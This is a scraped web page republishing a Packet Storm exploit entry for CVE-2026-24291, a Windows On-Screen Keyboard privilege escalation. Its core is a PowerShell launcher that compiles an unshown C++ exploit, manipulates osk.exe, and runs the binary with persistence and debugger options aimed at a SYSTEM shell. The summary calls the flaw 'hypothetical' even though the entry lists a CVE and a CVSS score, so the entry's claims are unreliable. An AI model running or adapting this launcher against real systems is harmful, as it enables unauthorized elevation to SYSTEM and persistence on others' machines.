{“lastseen”:”2026-05-11T17:16:44″,”description”:”This PowerShell script acts as a wrapper\/launcher for a compiled Windows exploit binary targeting the OSK On-Screen Keyboard privilege escalation vulnerability…”,”published”:”2026-05-11T00:00:00″,”modified”:”2026-05-11T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 OSK Privilege Escalation”,”source”:””,”references”:””,”id”:”PACKETSTORM:220745″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2026-24291″],”sourceData”:”==================================================================================================================================\\n | # Title : OSK EoP Exploit Wrapper Build and Execution Automation Script |\\n | # Author : indoushka |\\n | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 147.0.4 (64 bits) |\\n | # Vendor : No standalone download available |\\n ==================================================================================================================================\\n \\n [+] Summary : This PowerShell script acts as a wrapper\/launcher for a compiled Windows exploit binary targeting a hypothetical OSK (On-Screen Keyboard) Elevation of Privilege vulnerability.\\n \\n [+] POC : \\n \\n param(\\n [switch]$Persist,\\n [switch]$Debugger,\\n [switch]$Force\\n )\\n \\n Write-Host @\\”\\n ========================================\\n CVE-2026-24291 – OSK EoP Exploit\\n SYSTEM Privilege Escalation\\n by indoushka\\n ========================================\\n \\”@ -ForegroundColor Cyan\\n \\n $msvc = Get-ChildItem \\”C:\\\\Program Files\\\\Microsoft Visual Studio\\\\*\\\\*\\\\VC\\\\Tools\\\\MSVC\\\\*\\\\bin\\\\Hostx64\\\\x64\\\\cl.exe\\” -ErrorAction SilentlyContinue | Select-Object -First 1\\n \\n if (-not $msvc) {\\n Write-Host \\”[!] Visual Studio not found. Install Build Tools.\\” -ForegroundColor Red\\n exit 1\\n }\\n \\n $vcVars = \\”C:\\\\Program Files\\\\Microsoft Visual Studio\\\\2022\\\\BuildTools\\\\VC\\\\Auxiliary\\\\Build\\\\vcvars64.bat\\”\\n if (Test-Path $vcVars) {\\n cmd \/c \\”`\\”$vcVars`\\” \\u003e nul 2\\u003e\\u00261 \\u0026\\u0026 cl.exe\\”\\n }\\n \\n Write-Host \\”[*] Compiling exploit…\\” -ForegroundColor Yellow\\n $source = \\”osk_eop.cpp\\”\\n $output = \\”osk_eop.exe\\”\\n \\n if (Test-Path $output) { Remove-Item $output }\\n \\n \\u0026 cl.exe \/EHsc \/O2 \/MT $source \/Fe$output \/link advapi32.lib user32.lib\\n \\n if (-not (Test-Path $output)) {\\n Write-Host \\”[!] Compilation failed\\” -ForegroundColor Red\\n exit 1\\n }\\n \\n Write-Host \\”[+] Compilation successful\\” -ForegroundColor Green\\n \\n Write-Host \\”[*] Starting OSK for initialization…\\” -ForegroundColor Yellow\\n Start-Process \\”osk.exe\\” -WindowStyle Hidden\\n Start-Sleep -Seconds 2\\n Get-Process \\”osk\\” -ErrorAction SilentlyContinue | Stop-Process -Force\\n \\n $args = @()\\n if ($Persist) { $args += \\”–persist\\” }\\n if ($Debugger) { $args += \\”–debugger\\” }\\n \\n Write-Host \\”[*] Running exploit…\\” -ForegroundColor Green\\n \\u0026 .\\\\$output $args\\n \\n Write-Host \\”`n[*] Check for SYSTEM shell. UAC prompt may appear – dismiss it.\\” -ForegroundColor Cyan\\n \\n Greetings to :==============================================================================\\n jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|\\n ============================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/220745″,”cvss”:{“score”:7.8,”severity”:”HIGH”,”vector”:”CVSS:3.1\/AV:L\/AC:L\/PR:L\/UI:N\/S:U\/C:H\/I:H\/A:H”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/220745\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-05-11T17:16:44″,”description”:”This PowerShell script acts as a wrapper\/launcher for a compiled Windows exploit binary targeting the OSK On-Screen Keyboard privilege escalation vulnerability…”,”published”:”2026-05-11T00:00:00″,”modified”:”2026-05-11T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 OSK Privilege Escalation”,”source”:””,”references”:””,”id”:”PACKETSTORM:220745″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2026-24291″],”sourceData”:”==================================================================================================================================\\n |…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,28,12,15,13,53,7,11,5],"class_list":["post-53083","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-78","tag-exploit","tag-high","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n